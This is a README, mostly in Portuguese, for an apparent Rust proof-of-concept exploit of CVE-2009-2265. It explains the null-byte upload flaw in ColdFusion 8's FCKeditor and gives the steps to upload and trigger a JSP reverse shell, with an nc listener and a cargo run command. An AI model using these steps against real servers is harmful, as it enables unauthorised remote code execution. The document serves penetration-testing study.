
A Rust implementation of the POC for the CVE-2009-2265 exploit, targeting Adobe ColdFusion 8.
Uma implementação em Rust do POC para o exploit CVE-2009-2265, visando Adobe ColdFusion 8.
Esta vulnerabilidade permite que um atacante não autenticado faça upload de arquivos arbitrários para um diretório acessível pela web em um servidor executando Adobe ColdFusion 8, levando à Execução Remota de Código (RCE).
upload.cfmCurrentFolderA vulnerabilidade existe na funcionalidade de upload de arquivos do componente FCKeditor localizado em /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. O parâmetro HTTP GET CurrentFolder não é adequadamente sanitizado, permitindo um ataque de injeção de byte nulo (%00).
Ao criar uma requisição onde o parâmetro CurrentFolder é definido como /<filename>.jsp%00, um atacante pode contornar as verificações de extensão do lado do servidor. O sistema subjacente (frequentemente Java) interpreta o byte nulo como o final da string, tratando o nome do arquivo como <filename>.jsp. Isso permite que o atacante faça upload de um arquivo JSP malicioso. O servidor salva este arquivo em um diretório publicamente acessível (/userfiles/file/), de onde pode ser executado simplesmente acessando sua URL.
Este POC automatiza o processo gerando um payload de reverse shell JSP, fazendo upload usando a vulnerabilidade de byte nulo e acionando-o para obter um shell no sistema alvo.
Siga estes passos para compilar e executar o exploit.
Antes de executar o exploit, inicie um listener em sua máquina local para capturar o reverse shell recebido.
nc -lnvp <attacker-port>
Execute o binário compilado, fornecendo seu host/porta local para o reverse shell e o host/porta do alvo remoto.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
Após o script acionar o payload, você deve receber uma conexão em seu listener Netcat.
Esta ferramenta é apenas para fins educacionais e de teste de penetração autorizado. Use com responsabilidade e apenas em sistemas que você possui ou tem permissão explícita para testar.